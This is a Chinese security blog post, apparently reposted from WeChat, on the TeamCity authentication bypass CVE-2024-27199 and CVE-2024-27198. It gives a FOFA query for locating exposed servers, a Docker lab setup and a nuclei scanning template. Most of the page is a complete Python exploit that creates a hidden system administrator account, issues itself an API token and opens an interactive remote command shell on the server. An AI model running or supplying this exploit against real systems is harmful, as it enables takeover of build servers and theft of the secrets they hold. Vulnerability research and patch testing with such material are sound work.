CVE-2024-27199(POC&EXP)

admin 2024年3月10日10:47:03评论64 views字数 8297阅读27分39秒阅读模式

使

 

01

漏洞名称

TeamCity 权限绕过漏洞

02

漏洞影响

JetBrains TeamCity < 2023.11.4版本

CVE-2024-27199(POC&EXP)

03

漏洞描述

JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。

JetBrains TeamCity在2023.11.4之前存在路径遍历漏洞,攻击者可利用此漏洞构造恶意请求执行未授权的有限管理员操作,例如覆盖证书等等。

04

FOFA搜索语句
 
app="JET_BRAINS-TeamCity"

CVE-2024-27199(POC&EXP)

 

05

靶场搭建

docker安装

拉取镜像

docker pull jetbrains/teamcity-server:2023.11.3

启动容器

docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

然后访问http://localhost:8111

06

批量扫描poc

如果直接使用上面的数据包,实际上已经是一种入侵行为,尝试通过判断版本号来扫描漏洞。各位看官有更好的办法记得私信我。

nuclei poc文件内容如下

id: CVE-2024-27199
info:  name: TeamCity < 2023.11.4 - Authentication Bypass  author: DhiyaneshDk  severity: high  description: |    In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible  reference:    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/    - https://nvd.nist.gov/vuln/detail/CVE-2024-27199  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L    cvss-score: 7.3    cwe-id: CWE-23  metadata:    verified: true    max-request: 3    shodan-query: http.component:"TeamCity"  tags: cve,cve2024,teamcity,jetbrains,auth-bypass
http:  - method: GET    path:      - "{{BaseURL}}/res/../admin/diagnostic.jsp"      - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"      - "{{BaseURL}}/update/../admin/diagnostic.jsp"
    stop-at-first-match: true    matchers:      - type: dsl        dsl:          - 'status_code == 200'          - 'contains(header, "text/html")'          - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'        condition: and# digest: 490a0046304402207d46ec6991f8498ff8c74ec6ebfe0f59f19210620cab88c23c7761c7701b640102201246e4baea4f5b436b45be21c4f66bbe35e8a5f3769b78de38ee94253f331fa7:922c64590222798bb761d5b6d8e72950

运行POC

nuclei.exe -t mypoc/cve/CVE-2024-27199.yaml -l 1.txt

CVE-2024-27199(POC&EXP)

07

漏洞利用

github上发现个现成的用python写的EXP,这个脚本利用CVE-2024-27198和CVE-2024-27199实现远程命令执行EXP放到工具包中了,文末获取

import reimport sysimport stringimport randomimport urllib3import requestsimport argparseimport xml.etree.ElementTree as ETfrom urllib.parse import quote_plus
urllib3.disable_warnings()token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))GREEN = "�33[92m"RESET = "�33[0m"
def GetUserID(response_text):    try:        root = ET.fromstring(response_text)        user_info = {            "username": root.attrib.get("username"),            "id": root.attrib.get("id"),            "email": root.attrib.get("email"),        }        return user_info["id"]    except ET.ParseError as err:        print(f"[-] Failed to parse user XML response: {err}", "!")        return None
def GetToken(response_text):    try:        root = ET.fromstring(response_text)        token_info = {            "name": root.attrib.get("name"),            "value": root.attrib.get("value"),            "creationTime": root.attrib.get("creationTime"),        }        return token_info["value"]    except ET.ParseError as err:        print(f"[-] Failed to parse token XML response: {err}", "!")        return None
def GetOSVersion(target, token):    try:        get_os_version_url_linux = target + "/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO"        get_os_version_url_windows = target + "/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO"        get_os_version_headers = {            "Authorization": f"Bearer {token}",            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"        }        linux_response = requests.post(url=get_os_version_url_linux, headers=get_os_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)        if linux_response.status_code != 200:            print("[-] Unable to obtain operating system version and then execute command.")            sys.exit(0)        if "ReadyGO" in linux_response.text:            return "linux"        else:            windows_response = requests.post(url=get_os_version_url_windows, headers=get_os_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)            if "ReadyGO" in windows_response.text:                return "windows"            else:                print("[-] Unable to obtain operating system version, please try manual exploitation.")                sys.exit(0)    except Exception as err:        print("[-] Error in func <GetOSVersion>, error message: " + str(err))
def ExecuteCommand(target, os_version, command, token):    try:        command_encoded = quote_plus(command)        if os_version == "linux":            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh&params=-c&params={command_encoded}"        else:            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe&params=/c&params={command_encoded}"        exec_cmd_headers = {            "Authorization": f"Bearer {token}",            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"        }        exec_cmd_response = requests.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)        pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL)        match = re.search(pattern, exec_cmd_response.text)        if match:            stdout_content = match.group(1).strip()            if stdout_content == "":                stderr_content = match.group(2).strip()                print(stderr_content.split("nn")[0])            else:                print(stdout_content)        else:            print("[-] Match failed. Response text: n" + exec_cmd_response.text)    except Exception as err:        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
def AddUser(target, username, password, domain):    add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"    add_user_headers = {        "Content-Type": "application/json",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"    }    add_user_data = {        "username": f"{username}",        "password": f"{password}",        "email": f"{username}@{domain}",        "roles": {            "role": [                {                    "roleId": "SYSTEM_ADMIN",                    "scope": "g"                }            ]        }    }    try:        add_user_response = requests.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)        user_id = GetUserID(add_user_response.text)        if add_user_response.status_code == 200 and user_id is not None:            print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}")            Exploit(target, user_id)        else:            print(f"[-] Failed to add user, there is no vulnerability in {target}")    except Exception as err:        print("[-] Error in func <AddUser>, error message: " + str(err))
def Exploit(target, user_id):    exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"    exploit_headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"    }    try:        exploit_response = requests.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)        token = GetToken(exploit_response.text)        os_version = GetOSVersion(target, token)        print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}")        print("[+] Please start executing commands freely! Type <quit> to end command execution")        while True:            command = input(f"{GREEN}command > {RESET}")            if command == "quit":                sys.exit(0)            ExecuteCommand(target, os_version, command, token)    except Exception as err:        print("[-] Error in func <Exploit>, error message: " + str(err))
def ParseArguments():    banner = r""" _____                     ____ _ _           ____   ____ _____ |_   _|__  __ _ _ __ ___  / ___(_) |_ _   _  |  _  / ___| ____|  | |/ _ / _` | '_ ` _ | |   | | __| | | | | |_) | |   |  _|    | |  __/ (_| | | | | | | |___| | |_| |_| | |  _ <| |___| |___   |_|___|__,_|_| |_| |_|____|_|__|__, | |_| _\____|_____|                                      |___/                                                                                                 Author: @W01fh4cker                                                                            Github: https://github.com/W01fh4cker    """    print(banner)    parser = argparse.ArgumentParser(description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4")    parser.add_argument("-u", "--username", type=str, help="username you want to add. If left blank, it will be randomly generated.", required=False)    parser.add_argument("-p", "--password", type=str, help="password you want to add. If left blank, it will be randomly generated.", required=False)    parser.add_argument("-t", "--target", type=str, help="target url", required=True)    parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address", required=False)    parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)    return parser.parse_args()
if __name__ == "__main__":    args = ParseArguments()    if not args.username:        username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))    else:        username = args.username    if not args.password:        password = "".join(random.choices(string.ascii_letters + string.digits, k=10))    else:        password = args.password    if not args.proxy:        proxy = {}    else:        proxy = {            "http": args.proxy,            "https": args.proxy        }    AddUser(target=args.target.rstrip("/"), username=username, password=password, domain=args.domain)

python CVE-2024-27198-RCE.py -t http://dev.w01fh4cker.local

CVE-2024-27199(POC&EXP)

08

修复建议

升级到2023.11.4及以上版本。

原文始发于微信公众号(AI与网安):CVE-2024-27199(POC&EXP)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月10日10:47:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-27199(POC&EXP)https://cn-sec.com/archives/2563609.html

发表评论

匿名网友 填写信息